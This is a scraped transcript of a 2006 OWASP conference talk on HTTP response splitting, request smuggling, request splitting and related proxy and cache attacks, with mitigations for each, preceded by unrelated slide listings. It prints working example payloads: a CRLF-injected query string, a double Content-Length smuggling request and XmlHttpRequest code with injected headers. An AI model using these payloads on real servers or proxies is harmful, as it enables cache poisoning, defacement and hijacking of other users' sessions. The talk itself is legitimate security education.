Copyright © 2006 - The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.

Slides:



Advertisements
Similar presentations
Numbers Treasure Hunt Following each question, click on the answer. If correct, the next page will load with a graphic first – these can be used to check.
Advertisements

Scenario: EOT/EOT-R/COT Resident admitted March 10th Admitted for PT and OT following knee replacement for patient with CHF, COPD, shortness of breath.
AKC Rally Signs These are copies of the 2008 AKC Rally signs, as re-drawn by Chuck Shultz. Use them to print your own signs. Be prepared to use a LOT of.
Angstrom Care 培苗社 Quadratic Equation II
AP STUDY SESSION 2.
1
Select from the most commonly used minutes below.
1 Copyright © 2002 Pearson Education, Inc.. 2 Chapter 2 Getting Started.
Copyright © 2003 Pearson Education, Inc. Slide 1 Computer Systems Organization & Architecture Chapters 8-12 John D. Carpinelli.
Copyright © 2003 Pearson Education, Inc. Slide 7-1 Created by Cheryl M. Hughes The Web Wizards Guide to XML by Cheryl M. Hughes.
Nick Feamster CS 6262 Spring 2009
Slide 1 FastFacts Feature Presentation October 16 th, 2008 We are using audio during this session, so please dial in to our conference line… Phone number:
1 Hyades Command Routing Message flow and data translation.
David Burdett May 11, 2004 Package Binding for WS CDL.
Local Customization Chapter 2. Local Customization 2-2 Objectives Customization Considerations Types of Data Elements Location for Locally Defined Data.
Process a Customer Chapter 2. Process a Customer 2-2 Objectives Understand what defines a Customer Learn how to check for an existing Customer Learn how.
1 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt BlendsDigraphsShort.
1 Advanced Tools for Account Searches and Portfolios Dawn Gamache Cindy Bylander.
1 Click here to End Presentation Software: Installation and Updates Internet Download CD release NACIS Updates.
Photo Slideshow Instructions (delete before presenting or this page will show when slideshow loops) 1.Set PowerPoint to work in Outline. View/Normal click.
Version 1.0 digitaloffice.intel.com Intel ® vPro Technology Intel ® Active Management Technology Setup and Configuration HP Laptop – Compaq 6910p Small.
Break Time Remaining 10:00.
Turing Machines.
Table 12.1: Cash Flows to a Cash and Carry Trading Strategy.
ACT User Meeting June Your entitlements window Entitlements, roles and v1 security overview Problems with v1 security Tasks, jobs and v2 security.
PP Test Review Sections 6-1 to 6-6
TCP/IP Protocol Suite 1 Copyright © The McGraw-Hill Companies, Inc. Permission required for reproduction or display. Chapter 2 The OSI Model and the TCP/IP.
EIS Bridge Tool and Staging Tables September 1, 2009 Instructor: Way Poteat Slide: 1.
Outline Minimum Spanning Tree Maximal Flow Algorithm LP formulation 1.
Health Artifact and Image Management Solution (HAIMS)
Bellwork Do the following problem on a ½ sheet of paper and turn in.
INTRODUCTION Lesson 1 – Microsoft Word Word Basics
Exarte Bezoek aan de Mediacampus Bachelor in de grafische en digitale media April 2014.
Chapter 20 Network Layer: Internet Protocol
HTTP Reading: Section and COS 461: Computer Networks Spring
The OWASP Foundation Web Application Security Host Apps Firewall Host Apps Database Host Web serverApp serverDB server Securing the.
Sample Service Screenshots Enterprise Cloud Service 11.3.
Copyright © 2012, Elsevier Inc. All rights Reserved. 1 Chapter 7 Modeling Structure with Blocks.
Success with ModelSmart3D Pre-Engineering Software Corporation Written by: Robert A. Wolf III, P.E. Copyright 2001, Pre-Engineering Software Corporation,
 Copyright I/O International, 2013 Visit us at: A Feature Within from Item Class User Friendly Maintenance  Copyright.
1 RA III - Regional Training Seminar on CLIMAT&CLIMAT TEMP Reporting Buenos Aires, Argentina, 25 – 27 October 2006 Status of observing programmes in RA.
© 2008 Security Compass inc. 1 Firefox Plug-ins for Application Penetration Testing Exploit-Me.
1 © 2004, Cisco Systems, Inc. All rights reserved. CCNA 1 v3.1 Module 10 Routing Fundamentals and Subnets.
Adding Up In Chunks.
SLP – Endless Possibilities What can SLP do for your school? Everything you need to know about SLP – past, present and future.
MaK_Full ahead loaded 1 Alarm Page Directory (F11)
1 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt 10 pt 15 pt 20 pt 25 pt 5 pt Synthetic.
GEtServices Services Training For Suppliers Requests/Proposals.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
2004 EBSCO Publishing Presentation on EBSCOadmin.
: 3 00.
5 minutes.
1 hi at no doifpi me be go we of at be do go hi if me no of pi we Inorder Traversal Inorder traversal. n Visit the left subtree. n Visit the node. n Visit.
1 Let’s Recapitulate. 2 Regular Languages DFAs NFAs Regular Expressions Regular Grammars.
Speak Up for Safety Dr. Susan Strauss Harassment & Bullying Consultant November 9, 2012.
Chapter 12 Working with Forms Principles of Web Design, 4 th Edition.
Essential Cell Biology
Clock will move after 1 minute
1 © 2004, Cisco Systems, Inc. All rights reserved. CCNA 1 v3.1 Module 9 TCP/IP Protocol Suite and IP Addressing.
PSSA Preparation.
Chapter 11 Creating Framed Layouts Principles of Web Design, 4 th Edition.
Physics for Scientists & Engineers, 3rd Edition
Select a time to count down from the clock above
RefWorks: The Basics October 12, What is RefWorks? A personal bibliographic software manager –Manages citations –Creates bibliogaphies Accessible.
Copyright Tim Morris/St Stephen's School
Introduction Peter Dolog dolog [at] cs [dot] aau [dot] dk Intelligent Web and Information Systems September 9, 2010.
TCP/IP Protocol Suite 1 Chapter 18 Upon completion you will be able to: Remote Login: Telnet Understand how TELNET works Understand the role of NVT in.
1 Decidability continued…. 2 Theorem: For a recursively enumerable language it is undecidable to determine whether is finite Proof: We will reduce the.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation.
Presentation transcript:

Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License. The OWASP Foundation OWASP AppSec Europe May HTTP Message Splitting, Smuggling and Other Animals Amit Klein, OWASP-Israel steering committee member/leader Board member, WASC

OWASP AppSec Europe Introduction ([1])

OWASP AppSec Europe Peripheral Web Attacks  “Classic” web attacks – focus on server (web) and its backend (app, DB). Acknowledge the existence of a browser…  Server attacks (Nimda, CodeRed)  Application attacks  Back-end/DB attacks (SQL injection, *-injection)  Session hijacking, XSS  Peripheral web attacks (2004-) – focus on what’s between the server and the client – how introducing HTTP enabled intermediaries makes the system less secure. [A note about virtual hosting]

OWASP AppSec Europe Terminology  (HTTP-enabled) Intermediary – an HTTP enabled device/filter/thingy that processes the traffic between the browser and the web server at the HTTP level.  Peripheral web attack – an attack against a system that contains at least one HTTP-enabled intermediary, which is made possible due to the introduction of this intermediary. The attack makes use of the data stream (not the control stream).

OWASP AppSec Europe HTTP Enabled Intermediaries  Cache server (on-site)  Cache server (client side)  SSL accelerator (SSL termination)  Load balancer  Reverse proxy server (on-site)  Forward/transparent proxy server (client side)  IDS/HTTP-aware firewall  Web Application Firewall (WAF)  (the browser’s cache)  …

OWASP AppSec Europe Root problems  Application (insecure code)  Liberal HTTP Parsing  HTTP connection sharing – breaks some inherent assumptions, “inherent trust”  Acting upon HTTP messages at large  Caching – less control over the site content as seen by the browser, no “reset”/”versioning”. Serious amplification (time, clients)

OWASP AppSec Europe The HRS Quartet

OWASP AppSec Europe The HRS Quartet  Adagio: HTTP Response Splitting  Web cache poisoning  Larghetto: HTTP Request Smuggling  Allegro: HTTP Request Splitting  Vivace: HTTP Response Smuggling

OWASP AppSec Europe Terminology  HTTP … Splitting – forcing an originator of HTTP messages to emit 2 (or more) valid (RFC- compliant) messages instead of one.  HTTP … Smuggling – [forcing] an originator of HTTP messages to emit a stream of data that can be interpreted in more than one way, usually due to non-compliancy to the RFC.

OWASP AppSec Europe The HRS Quartet: Part I – Adagio: HTTP Response Splitting ([2])

OWASP AppSec Europe The basic idea  The security hole – an application that:  Embeds user data in HTTP response headers (e.g. Location, Set-Cookie)  Does so without sanitizing data  This enables the attacker to force the server into sending (on the wire) data that is interpreted as 2 HTTP response messages.

OWASP AppSec Europe Example  ASP page (say <% Response.Redirect " & Request.QueryString("lang") %>  Normal request:  Normal Response: HTTP/ Redirect Location: Connection: Keep-Alive Content-Length: 0

OWASP AppSec Europe Example (contd.)  Attack request Alive%0d%0aContent- Length:%200%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent- Type:%20text/html%0a%0aContent- Length:%2020%0d%0a%0d%0a Gotcha!  Response (actually, 2 responses and some change): HTTP/ Redirect Location: Connection: Keep-Alive Content-Length: 0 HTTP/ OK Content-Type: text/html Content-Length: 20 Gotcha Connection: Keep-Alive Content-Length: 0

OWASP AppSec Europe Web Cache Poisoning  Let’s change into a “Gotcha!” page.  Participants:  Web site (with the vulnerability)  Cache proxy server  Attacker  Attack idea:  The attacker sends two requests: 1.HTTP response splitter 2.An innocent request for  The proxy server will match the first request to the first response, and the second (“innocent”) request to the second response (the “Gotcha!” page), thus caching the attacker’s contents.

OWASP AppSec Europe Web Cache Poisoning -> Attack Flow Sequence AttackerCache-ProxyWeb Server (Gotcha!) 1 st attacker request (response splitter) 1 st attacker request (response splitter) 2 nd attacker request (innocent /index.html) 2 nd attacker request (innocent /index.html) 200 (Gotcha!) 200 (Welcome)

OWASP AppSec Europe Crossing Wires  Response Hijacking, temporary defacement - Slide 15 revisited (see next slide)  Doesn’t require caching  Requires “connection sharing” (two clients to one server) in the proxy server  Theoretic results

OWASP AppSec Europe Crossing Wires -> Attack Flow Sequence AttackerProxyWeb Server (Gotcha!) 1 st attacker request (response splitter) 1 st attacker request (response splitter) request /account?id=victim 200 (Gotcha!) 200 (Victim’s account data) Victim request /index.html request /index.html 200 (Victim’s account data)

OWASP AppSec Europe Attacks round-up We have seen:  Web cache poisoning  Response hijacking  Temporary defacement (server side XSS++) Additionally, there are (check the paper - [2])  XSS for IE in 3xx scenario  (attacks related to virtual hosting)

OWASP AppSec Europe Solution  Application level – do not pass “bad” data to the framework (i.e., sanitize CRs and LFs).  Framework (ASP, JSP, PHP, …) level – do not embed “bad” data into HTTP response headers.  Intermediaries (proxy servers, etc.):  Enforce causality (request before response)  PSH bit? (see [7])  Avoid connection sharing  Site owners  SSL only site (still leaves browser cache and post SSL termination uncovered)

OWASP AppSec Europe The HRS Quartet: Part II – Larghetto: HTTP Request Smuggling ([3])

OWASP AppSec Europe Basic Idea + Example  POST request with double Content-Length header  RFC says “thou shalt not”.  Liberalism says “let’s try to understand this”.  SunONE server (6.1 SP1) takes the first header.  SunONE proxy (3.6 SP4) takes the last header.

OWASP AppSec Europe Goal: cache server will cache the content of /poison.html for the resource /welcome.html POST HTTP/ Content-Length: 0 Content-Length: 44 GET /poison.html HTTP/1.1 Host: SITE Bla: GET HTTP/1.1 Web cache poisoning (example) Proxy: 1. /foobar.html 2. /welcome.html Server: 1./foobar.html 2./poison.html

OWASP AppSec Europe Example result  Proxy sees a second request to /welcome.html, and will cache the second response.  Web server sees a second request to /poison.html, so the second response would be the contents of /poison.html.  The proxy will cache the contents of /poison.html for the URL /welcome.html  Net result – the cache is (partially) poisoned

OWASP AppSec Europe Partial poisoning  Unlike “HTTP Response splitting”, there’s no full control over the poisonous payload:  Poison must already exist on the server  Poison must be cacheable  But think blogs, forums, talkbacks, guestbooks, personal pages, ….

OWASP AppSec Europe And it’s not just double Content-Length…  Many (battle proven) anomalies  Double Content-Length  Transfer-Encoding and Content-Length  CRLF+CR+CRLF  GET with Content-Length  CRLF+SP+CRLF  IIS 48KB body bug/feature ([4])  Many more…  Many pairs of vulnerable devices  Apache with everything…  IIS with everything…  Many more…

OWASP AppSec Europe Attack vectors We have seen  Partial cache poisoning Additionally, there are (check the paper - [3])  IPS/IDS/Firewall/WAF bypassing  Other tricks similar to HTTP Response Splitting

OWASP AppSec Europe Solution  HTTP-enabled intermediary vendors  Be strict in what you accept ;-)  Ideally: do not “fix” bad data – kill it… (feasible?)  Otherwise: “fix” bad data  Avoid connection sharing  Sites  SSL only site  Patch

OWASP AppSec Europe The HRS Quartet: Part III – Allegro: HTTP Request Splitting ([9], [12])

OWASP AppSec Europe Motivation  Goal:  (part I) Forging “difficult” headers (e.g. Referer)  Importance: subverts “defenses” that rely on Referer, e.g. suggestions for CSRF protection, anti-leaching, etc.  (part I) Scanning (e.g. internal networks)  Importance: ability to access content of “off site” pages  (part II) General XSS  (part II) “local defacement” (browser cache poisoning)  Usual suspect: XmlHttpRequest  Restricted by same origin security policy (enforced by the browser).  Now if there’s a proxy (or virtual server)…

OWASP AppSec Europe Attack (Referer spoofing, scanning)  Using XmlHttpRequest  Sending more 2+ requests instead of one  “Under the radar” of the browser  Example  IE’s XmlHttpRequest object doesn’t allow SP in the method. But HT (\t) is allowed, and so are CR (\r) and LF (\n)  The following JS code crafts 2 requests (to the proxy) where IE thinks it’s sending only one  Code resides in yet accesses var x = new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET\thttp:// /1.0\r\nHost:\twww.target.site\r\nReferer:\thttp:// /1.0\r\nFoobar:"," x.send();

OWASP AppSec Europe Attack (XSS, browser cache poisoning)  Example (IE+Squid forward proxy) var x = new ActiveXObject("Microsoft.XMLHTTP"); x.open("GET\thttp:// mmy.html\tHTTP/1.1\r\nHost:\twww.attacker.s ite\r\nConnection:\tKeep- Alive\r\n\r\nGET","/payload.html",false); x.send(); window.open("

OWASP AppSec Europe Solution  Browser vendors  Strict sanitation/validation of the various XmlHttpRequest fields (method, URL, headers)  Sites  SSL only site

OWASP AppSec Europe The HRS Quartet: Part IV – Vivace: HTTP Response Smuggling ([11])

OWASP AppSec Europe Quick tour  Basic setup: HTTP Response Splitting  Goal: bypass “anti HTTP Response Splitting” restrictions by crafting non-standard responses  Will only work on a portion of the HTTP-enabled entities – those that parse those non-standard responses in a “friendly” manner.

OWASP AppSec Europe Example – bypassing PHP (and 4.4.2) anti HTTP Response Splitting defense  Newest PHP releases impose heavy restrictions on LF- infested data sent to header()  LF is only allowed when followed by a SP/HT (HTTP header continuation syntax)  No more …%0d%0a%0d%0a… exploits  Enters HTTP Response Smuggling  Using CR only (not CRLF).  Non compliance with the RFCs.  Still, SunONE 4.0 proxy/cache server happily accepts this and normalizes it.  Net effect: HTTP Response Splitting (with all its impact) is still possible, provided that the cache/proxy server accepts CR.  See other tricks in the paper ([11])

OWASP AppSec Europe Solution  Application programmers  Sanitize data going to HTTP headers against CR and LF.  Web server/framework vendors  Stricter filtering (no CRs, no LFs)  HTTP-enabled intermediaries  Reject non RFC-compliant responses  Site owners  SSL only site

OWASP AppSec Europe Domain Contamination ([10])

OWASP AppSec Europe Basic scenario  You’re hacked  Defacement  Web cache poisoning  Domain hijacking  Cyber-squatting (no hacking really)  Goal: effectively extending the defacement condition “forever”, esp. after the attack is “reversed”.  By carefully designing the attack, the attacker can cause defaced pages to be cached for very long time.  Cached pages can  Interact with real content (same domain!)  Interact with (and direct the victim to ) the attacker’s site

OWASP AppSec Europe Solution  Don’t get hacked ;-)  Use SSL only (addresses some vectors, not all)  No simple solution:  Need to extend the cache “protocol”/headers?  Other suggestions in [10]

OWASP AppSec Europe Cross Site Tracing in proxy servers ([6])

OWASP AppSec Europe Cross-Site Tracing (XST) Strikes Back  Original XST ([5]) uses TRACE response from the web server. Since 2003, TRACE is usually turned off in web servers.  Goal: given XSS condition, extend it to cover HttpOnly cookies and HTTP basic authentication credentials (a-la the original XST)  TRACE is also supported by proxy servers.  Used with Max-Forwards to “debug” proxy paths.  Max-Forwards: 0  The proxy response is just as good…  Better yet: the server never sees what (doesn’t) hit it…

OWASP AppSec Europe Solution  HTTP-enabled intermediaries  Disallow TRACE  Browser vendors  Disallow TRACE as a method in XmlHttpRequest.  Disallow any non-alphanumeric method in XmlHttpRequest.

OWASP AppSec Europe NTLM HTTP Authentication and proxies don’t mix ([8])

OWASP AppSec Europe NTLM HTTP Authentication and connection sharing  NTLM HTTP authentication is connection oriented – the first HTTP request on the TCP connection is authenticated, and the rest don’t need authentication.  Goal: piggyback an authenticated connection of a legitimate user.  Connection sharing scenario = big problem  Microsoft silently added “via” detection, killing the connection-orientedness.  But Via is not sent by all proxy servers.  Chain of proxies

OWASP AppSec Europe Solution  Site owners  Abandon NTLM HTTP Auth  Proxy vendors  Don’t share connections  Send VIA by default

OWASP AppSec Europe Summary

OWASP AppSec Europe Root problems revisited  Application (insecure code)  HTTP Response Splitting, HTTP Response Smuggling  Browser “bugs”: XST++, HTTP Request Splitting  Liberal HTTP Parsing  HTTP Request Smuggling, HTTP Response Smuggling  HTTP connection sharing  HTTP Response Splitting, NTLM HTTP Auth problem  Acting upon HTTP messages at large  XST++  Caching  HRS (all four), Domain Contamination

OWASP AppSec Europe Common solutions  Application level (programmers, browser vendors)  Programmers: Sanitation  Browser vendors: Browser “bugs” – trivial sanitation…  Liberal HTTP Parsing (vendors)  Drop (or fix) non-RFC-compliant requests  HTTP connection sharing (vendors)  Avoid  Use SSL (site owners)  SSL only websites are transparent to outside-the- perimeter intermediaries, except the browser cache

OWASP AppSec Europe Summary  HTTP-enabled intermediaries enable new classes of attacks  Previously “safe” features are now root causes  Writing to HTTP headers  Connection sharing  Liberal HTTP parsing  Some HTTP features in intermediaries (e.g. TRACE)  Caching  Site owners have less control  HTTP intermediaries outside the perimeter  Non-trivial analysis: interaction between intermediaries, server and browser  Vulnerability assessment is never comprehensive  Mitigation  Tip of the iceberg?

OWASP AppSec Europe Q&A

OWASP AppSec Europe References [1] “Meanwhile, on the other side of the web server” (Amit Klein, June 2005) [2] “Divide and Conquer - HTTP Response Splitting, Web Cache Poisoning Attacks, and Other Topics” (Amit Klein, March 2004) [3] “HTTP Request Smuggling” (Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin, June 2005) [4] “HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)” (Amit Klein, September 2005) [5] “Cross-Site Tracing (XST)” (Jeremiah Grossman, January 2003) [6] “XST Strikes Back” (Amit Klein, January 2006) [7] “Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level” (Amit Klein, August 2005) [8] “NTLM HTTP Authentication is Insecure by Design” (Amit Klein, July 2005) [9] “Exploiting the XmlHttpRequest object in IE - Referrer spoofing, and a lot more...” (Amit Klein, September 2005) [10] “Domain Contamination” (Amit Klein, January 2006) [11] “HTTP Response Smuggling” (Amit Klein, March 2006) [12] “IE + some popular forward proxy servers = XSS, defacement (browser cache poisoning)” (Amit Klein, May 2006)